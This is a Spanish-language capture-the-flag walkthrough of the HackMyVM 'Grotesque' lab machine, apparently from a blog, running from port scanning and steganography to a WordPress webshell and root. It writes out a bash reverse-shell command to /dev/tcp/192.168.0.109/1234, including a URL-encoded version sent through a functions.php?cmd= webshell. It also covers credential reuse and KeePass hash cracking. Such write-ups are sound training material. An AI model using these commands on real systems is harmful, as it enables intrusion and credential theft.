HackMyVM Grotesque — Linux


Para poder hacer uso de esta máquina primero debemos descargar el archivo y así poder desplegar el laboratorio.
Descargamos el archivo de la página https://hackmyvm.eu/machines/
Al momento de descargar esta máquina y descomprimir el archivo, en este caso observamos un archivo.
Para desplegar el laboratorio usaremos nuestro hipervisor favorito e iniciamos la máquina. En caso de no observar la IP de la máquina podemos emplear arp-scan
para ver la dirección IP en nuestra red que sería la 192.168.0.142
.
Realizamos un ping a la dirección IP y podemos validar que tenemos alcance.
Empezamos con un escaneo de puertos y podemos ver que solo tenemos 2 puertos abiertos.
Realizando un escaneo más profundo de los puertos identificados podemos observar lo siguiente.
Como se puede observar en el escaneo podemos ver que en el puerto 80 no se tiene acceso al servicio.
Pero si nos dirigimos al puerto 66 vemos que tenemos una web de listas de máquinas vulnerables.
Revisando el código fuente podemos observar que tenemos un texto interesante.
Ya que muchas veces ya vimos este texto sabemos que se trata de brainfuck
.
Para poder interpretar el texto ingresamos a dcode.fr y podemos observar una ruta.
Ingresando a la ruta vemos la siguiente imagen.
Revisando algunos datos de la imagen podemos ver que tiene datos XMP y contienen tipos de edición.
Realizamos un análisis con binwalk
y vemos que hay algunos archivos embebidos y luego de ello lo extraemos.
Dentro del archivo que obtuvimos tenemos 2 archivos, pero no tenemos nada dentro de estos.
Empleando feroxbuster
podemos ver que identifica un archivo .zip
.
Descargamos el archivo y podemos observar tenemos muchos archivos.
Revisando el makefile
tenemos lo siguiente donde tenemos contenido del sitio y puede ser nos dé ayuda.
Comprobando los archivos .md
que tenemos podemos observar que muchos están vacíos y se repite la siguiente lista.
Realizando algunas restricciones para ver menos textos repetidos, podemos observar lo siguiente, pero seguimos teniendo muchas cadenas que no nos aportan nada.
Agregamos una restricción para ver cadenas más largas y tenemos lo siguiente.
Bajando entre lo obtenido vemos que resalta la siguiente ruta que hace referencia al puerto 80.
for wordpress, it's on port 80/lyricsblog
Al ingresar la dirección encontrada, observamos que ahora sí tenemos acceso a una página.
Aunque no tenemos ninguna imagen en el blog, podemos observar que tenemos la ruta de una imagen comentada.
Al ir a la ruta, tenemos la siguiente imagen.
Revisado si tiene algunos metadatos vemos algo parecido a la primera imagen.
Regresando a revisar al blog y viendo en wappalyzer
notamos que se trata de un wordpress
.
Realizando un escaneo de subdirectorios tenemos el wp-admin
Ingresando a la dirección probamos algunas credenciales por default, pero no tenemos resultado y también nos indica que el password debe ser en mayúsculas.
Verificando que podemos hacer, tenemos que el nombre de la imagen, existe una publicación con ese nombre así también sabemos que el usuario es erdalkomurcu
.
Probamos como si el texto que tenemos en Hakan Taşıyan – Doktor
como credenciales, pero no tenemos alguna respuesta, pero luego de ello Probamos obteniendo el MD5, pero debe ser en mayúsculas.
Ingresamos las credenciales.
Si todo es correcto ya deberíamos estar dentro de wordpress
.
Dentro de ella vamos a themes
y vamos a functions.php
donde agregaremos un comando en php
para poder ejecutar comandos.
Para acceder a esta webshell usamos la siguiente dirección que contiene la ubicación del archivo y si agregamos el parámetro podemos ver que se ejecuta el comando id
http://192.168.0.143/lyricsblog/wp-content/themes/twentytwentyone/functions.php?cmd=id
Ya que podemos ejecutar comandos estableceremos una Shell. Para ello iniciaremos nuestro listener.
Para nuestra consulta debemos tener la bash.
bash -c \ "bash -i >& /dev/tcp/192.168.0.109/1234 0>&1\ "'
para evitar problemas con los símbolos lo URL-encodeamos
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
Y enviamos, el URL debería ser así este lo enviamos por el navegador.
http://192.168.0.143/lyricsblog/wp-content/themes/twentytwentyone/functions.php?cmd=bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.0.109%2F1234%200%3E%261%22
Al momento de enviar en nuestro listener ya deberíamos poder ver que se estableció conexión.
Para facilitar las cosas en este punto migraremos la shell porque en este caso nos ocurre que no podemos hacer uso de las flechas o subir y bajar al comando anterior. Para ello primero hacemos
script /dev/null -c bash
luego un ctrl+z, regresaremos a nuestra consola seguido de ello ingresaremos los siguientes comandos para recuperar la shell usamos stty
stty raw -echo; fg
reset xterm
para obtener más características usamos
export TERM=xterm
para la variable de entorno
echo $SHELL
y para pasar a bash usamos
export SHELL=/bin/bash
para establecer el tamaño adecuado de la consola ingresamos
stty rows 59 cols 236
de esta manera ya nos podemos mover con más libertad en la consola.
Listando los archivos web, tenemos wp-config.php
en el cual podemos observar unas credenciales.
Probamos las credenciales para ver si la están reutilizando y estamos en lo correcto siendo ahora raphael
.
Al ir a la carpeta del usuario listamos los archivos, pero no vemos nada interesante, pero si listamos los archivos ocultos podemos ver un archivo .kdbx
que este representa ser un archivo de KeePass.
Para ver el contenido iniciamos un servidor HTTP.
Descargamos el archivo en nuestra máquina.
Abrimos el archivo y podemos observar que nos pide un password que no tenemos.
Para obtener el password, usaremos keepass2john
y obtendremos un hash.
Si no nos genera un password, volvemos a intentarlo y podemos observar que ahora sí tenemos las credenciales.
Volvemos a abrir el archivo keepass
y podemos observar que tenemos las credenciales de root
.
Luego de unos segundos podemos observar que la tercera credencial es la correcta.
De esta manera culminamos esta máquina con éxito.
Subscribe to my newsletter
Read articles from Gm4tsy directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
